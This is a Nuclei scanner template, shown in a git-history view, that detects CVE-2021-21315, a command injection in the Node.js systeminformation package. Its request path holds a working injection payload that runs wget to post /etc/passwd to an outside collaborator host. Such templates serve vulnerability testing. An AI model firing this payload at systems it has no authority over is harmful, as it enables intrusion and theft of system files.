nuclei-templates/cves/2021/CVE-2021-21315.yaml

43 lines
1.5 KiB
YAML
Raw Normal View History

2021-03-02 11:02:08 +00:00
id: CVE-2021-21315
info:
name: Node.js Systeminformation Command Injection
author: pikpikcu
severity: high
2021-03-24 06:48:11 +00:00
description: The System Information Library for Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information. In systeminformation before version 5.3.1 there is a command injection vulnerability. Problem was fixed in version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected.
reference:
2021-03-24 06:48:11 +00:00
- https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
- https://security.netapp.com/advisory/ntap-20210312-0007/
2021-03-04 14:58:32 +00:00
tags: nodejs,cve,cve2021
classification:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.80
cve-id: CVE-2021-21315
cwe-id: CWE-78
2021-03-02 11:02:08 +00:00
requests:
- method: GET
path:
2021-03-02 17:43:48 +00:00
- "{{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20burpcollaborator.net)"
2021-03-02 11:02:08 +00:00
matchers-condition: and
matchers:
- type: word
words:
- "application/json"
part: header
- type: word
words:
2021-03-02 17:43:48 +00:00
- "wget --post-file /etc/passwd burpcollaborator.net"
2021-03-04 14:55:34 +00:00
- name
- running
- pids
2021-03-02 11:02:08 +00:00
part: body
condition: and
- type: status
status:
- 200